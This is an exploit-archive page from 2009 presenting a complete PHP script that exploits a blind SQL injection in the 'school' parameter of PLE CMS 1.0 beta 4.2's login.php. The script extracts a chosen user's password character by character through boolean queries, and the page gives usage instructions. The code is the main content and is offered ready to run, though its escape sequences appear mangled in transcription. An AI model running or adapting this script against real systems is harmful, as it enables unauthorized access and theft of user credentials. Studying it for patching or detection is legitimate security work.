[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : PLE CMS 1.0 beta 4.2 (login.php school) Blind SQL Injection Exploit
# Published : 2009-01-29
# Author : darkjoker
# Previous Title : NetArtMedia Car Portal 1.0 (Auth Bypass) SQL Injection Vulnerability
# Next Title : Pligg 9.9.5 XSRF Protection Bypass and Captcha Bypass


--+++==============================================================+++--
--+++====== PLE CMS 1.0 beta 4.2 Blind SQL Injection Exploit ======+++--
--+++==============================================================+++--

<?php

function query ($user, $pos, $chr)
{
	$query = "123 OR ASCII(SUBSTRING((SELECT password FROM users WHERE userID = '{$user}'),{$pos},1))={$chr}";
	$query = str_replace (" ", "%20", $query);
	$query = str_replace ("'", "%27", $query);
	return $query;
}

function exploit ($hostname, $path, $user, $pos, $chr)
{
	$chr = ord ($chr);
	$fp = fsockopen ($hostname, 80);

	$get =  "GET {$path}/login.php?school=" . query ($user, $pos, $chr) . " HTTP/1.1rn".
		"Host: {$hostname}rn".
		"Connection: Closernrn";
	
	fputs ($fp, $get);

	while (!feof ($fp))
		$x .= fgets ($fp, 1024);


	fclose ($fp);
	
	if (preg_match ("/ERROR: School not found!/", $x))
		return false;
	else
		return true;
}

function usage ()
{
	exit (
		"nPLE CMS 1.0 beta 4.2 Blind SQL Injection Exploit".
		"n[+] Author: darkjoker".
		"n[+] Site  : http://darkjoker.net23.net".
		"n[+] Download: http://kent.dl.sourceforge.net/sourceforge/plecms/plecms_beta4_2.zip".
		"n[+] Usage   : php xpl.php <hostname> <path> <username> <key>".
		"n[+] Ex.     : php xpl.php localhost /PLECMS root abcdefghijklmnopqrstuvwxyz0123456789".
		"nn");
}

if ($argc < 4)
	usage ();

$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
$key = (empty ($argv [4])) ? "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" : $argv [4];
$chr = 0;
$pos = 1;

print "n[+] Password: ";

while ($chr < strlen ($key))
{
	if (exploit ($hostname, $path, $user, $pos, $key [$chr]))
	{
		echo $key [$chr];
		$chr = 0;
		$pos++;
	}
	else
		$chr++;
}

print "nn";

# www.Syue.com [2009-01-29]